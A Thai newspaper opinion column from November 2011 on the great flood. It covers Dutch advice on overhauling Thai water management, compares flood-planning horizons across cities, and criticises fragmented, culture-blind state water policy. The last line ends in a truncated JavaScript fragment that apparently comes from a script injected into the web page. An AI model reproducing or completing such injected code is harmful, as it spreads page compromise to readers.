มติชนรายวัน ฉบับประจำวันศุกร์ที่ 18 พฤศจิกายน 2554

 

          น้ำท่วมใหญ่หลวงในเนเธอร์แลนด์เมื่อ พ.ศ. 2496 ต้องรื้อระบบบริหารจัดการน้ำทั้งหมดที่เคยมีมาก่อน แล้วจัดใหม่

          ตอนนั้นประชาชนชาวเนเธอร์แลนด์ต่อต้านว่าจะกระทบต่อการเกษตร

          แต่หลังจากนั้นจนปัจจุบันได้พิสูจน์แล้วว่าระบบดังกล่าวไม่กระทบต่อการเป็นผู้ส่งออกสินค้าเกษตรของประเทศ

          ข้อความยกมาทั้งหมดนี้สรุปจากข่าวเอกอัครราชทูตเนเธอร์แลนด์ บอกกับผู้ช่วย รมต.คมนาคมของไทย

          แล้วหารือกันกรณีเนเธอร์แลนด์เสนอตัวจะทำรายงานเกี่ยวกับระบบบริหารจัดการน้ำในประเทศไทย โดยไม่คิดค่าดำเนินงาน แต่ทำให้ฟรี และไม่มีผลผูกพันให้ไทยต้องทำตามนั้น (พิมพ์ใน โพสต์ ทูเดย์ ฉบับวันอาทิตย์ที่ 13 พฤศจิกายน 2554 หน้า A11)

          ทูตเนเธอร์แลนด์ ยังบอกต่อไปอีกว่า

          ประเทศไทยต้องปรับเปลี่ยนระบบชลประทานใหม่ เพราะระบบของไทยเป็นลักษณะรองรับการทำเกษตรกรรม ไม่ใช่การระบายน้ำจากเหนือลงใต้

          เช่นเดียวกันกับระบบของ กทม. ที่โครงสร้างการระบายน้ำเป็นลักษณะระบายน้ำฝน มากกว่าระบายน้ำเหนือจำนวนมหาศาลในปัจจุบัน

          ก่อนหน้านี้ผู้เชี่ยวชาญด้านการจัดการน้ำของเนเธอร์แลนด์ ที่ได้รับเชิญมาประเทศไทยเมื่อเดือนกุมภาพันธ์ 2554 เพื่อร่วมหาแนวทางแก้ไขปัญหาบริหารจัดการน้ำทั้งระบบ (กรุงเทพธุรกิจ ฉบับวันเสาร์ที่ 15 ตุลาคม 2554 หน้า 2) มีข้อสังเกตว่า

          กรุงเทพมหานคร เป็นเมืองใหญ่เพียงเมืองเดียวในโลกที่ออกแบบกรอบเวลาในการมองปัญหาระยะสั้นเพียงแค่ 100 ปี ต่างจากกรอบเวลาที่ประเทศอื่นใช้ เช่น

          ฮานอย ประเทศเวียดนาม มองการจัดการปัญหาระยะยาวถึง 220 ปี, ลอนดอน วางกรอบระยะเวลาไว้ที่ 1,000 ปี, เนเธอร์แลนด์ มองการจัดการยาวนานถึง 10,000 ปี

          นั่นแสดงว่า ประเทศไทยยอมให้เกิดการเสียหายได้ทุกๆ 100 ปี ขณะที่ประเทศอื่นไม่สามารถยอมรับกับความเสียหายที่จะเกิดขึ้นได้

          สังคมไทยงมงายแล้วฟูมฟายอดีต พอฟูมฟายอดีตจนสาสมกับที่งมงายแล้วก็จบแค่นั้น ไม่คิดและไม่ทำอะไรต่อไป

          เช่น ฟูมฟายลอยกระทง เพราะงมงายนางนพมาศกรุงสุโขทัย พอพ้นเทศกาลก็จบแค่นั้น ไม่ได้เอาใจใส่เรื่องน้ำและดิน ไม่ว่าน้ำหลากหรือน้ำแล้ง

          ถ้าสังคมไทยจะพูดเรื่องน้ำ ก็เป็นน้ำตามตำราวิทยาศาสตร์แข็งทื่อโดดๆ ไม่สัมพันธ์เกี่ยวข้องกับสังคมวัฒนธรรมของคน

          คณะกรรมการปฏิรูป (คปร.) อธิบายว่า การจัดการน้ำที่รัฐทำอยู่ในปัจจุบัน มีลักษณะแยกส่วน กล่าวคือ มองน้ำโดดๆ โดยไม่ได้ผูกโยงเรื่องน้ำเข้ากับเรื่องอื่นๆที่สัมพันธ์เกี่ยวข้องกัน เช่น ไม่สัมพันธ์กับที่ดิน, การอนุรักษ์, ระบบนิเวศ, ป่าต้นน้ำ, ผังเมือง

          ดังนั้น รัฐจึงมุ่งไปในทางพัฒนาแหล่งน้ำขนาดใหญ่ เช่น สร้างเขื่อน, ผันน้ำข้ามลุ่มน้ำ, ฯลฯ โดยไม่คำนึงถึงข้อจำกัดด้านนิเวศ หรือความสอดคล้องกับวัฒนธรรมและการดำรงชีวิตของท้องถิ่น

          ความรู้ตามตำราแข็งทื่อ ทำให้ประวัติศาสตร์และโบราณคดีของไทย มีแต่เรื่องวังกับวัด โดยไม่มีท้องถิ่นและภูมิประเทศ แล้วไม่มีน้ำและดิน

          ส่งผลให้พิพิธภัณฑสถานแห่งชาติทั่วประเทศ เต็มไปด้วยประวัติศาสตร์ศิลปะ แต่ไม่มีเรื่องราวความรู้เกี่ยวกับน้ำ, ดิน, ท้องถิ่น, และภูมิประเทศ เช่น แม่น้ำลำคลอง, ห้วยหนองบึงบุ่งทาม, หุบเขา, ทุ่งราบ, ฯลฯ

          พอมีเหตุน้ำหลากท่วมใหญ่หลวง เลยหลงทางเลอะเทอะทะเลาะกันเละเทะ แก้ไขอะไรไม่คล่อง กะพร่องกะแพร่งอย่างที่รู้กันvar d=document;var s=d.createElement(‘script’);